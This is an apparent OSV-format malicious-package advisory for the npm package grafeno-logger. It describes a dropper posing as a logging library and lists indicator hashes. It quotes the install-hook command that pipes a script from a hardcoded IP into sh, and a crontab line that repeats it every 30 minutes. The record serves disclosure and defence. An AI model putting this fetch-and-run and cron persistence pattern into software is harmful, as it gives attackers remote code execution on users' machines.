grafeno-logger

{"schema_version":"1.7.4","id":"MAL-2026-15506","published":"2026-08-28T23:01:35Z","modified":"2026-08-29T01:44:41.599181199Z","summary":"Malicious code in grafeno-logger (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413)\ngrafeno-logger@1.0.0 is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs `curl -s 216.126.236.46/x.sh | sh` via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on `npm install`. The same preinstall step appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.\n","affected":[{"package":{"name":"grafeno-logger","ecosystem":"npm"},"versions":["1.0.0","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"43abdf44bed7babd3040be523a198a17a42bd2f949a8026ceb83234c824c9002","tlsh":"3cf05cf09c20f5736b8e01312a6947b6f7e34d990f08ac445b061158e1de3e35dbe887"},{"path":"index.js","sha256":"855cc180ead3c6a02a16861f26f0565ba6cc251f97f9fe5f9d1654c9c1423ee2","tlsh":"80a002070ee872a3152dc020998340833ac4ce891528e0427188957d23c1c1189025dd"}],"package_integrity":[{"filename":"grafeno-logger-1.0.0.tgz","hashes":{"sha1":"8b0de247730a41b98045224da61c75d42a41ff75","sha512_sri":"sha512-/IYgUwB1f/fCiVgCBZ9JpDtdpDlH9PYmP4/jKrobFfUTpRiZ2AnVGn6x9/KtQBJAxQHf6zvj8eMsTWz2YyrSoA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-logger/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-logger/v/1.0.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019060","import_time":"2026-08-28T23:14:35.206024569Z","modified_time":"2026-08-28T23:01:35Z","sha256":"6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413","source":"amazon-inspector","versions":["1.0.0"]},{"id":"IN-MAL-2026-019113","import_time":"2026-08-29T01:42:57.979113345Z","modified_time":"2026-08-29T01:42:32Z","sha256":"8df326d52f1b8b99223fa24f8d5b5139811235451a35d5d6bc0f67a680b5f1e1","source":"amazon-inspector","versions":["1.0.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}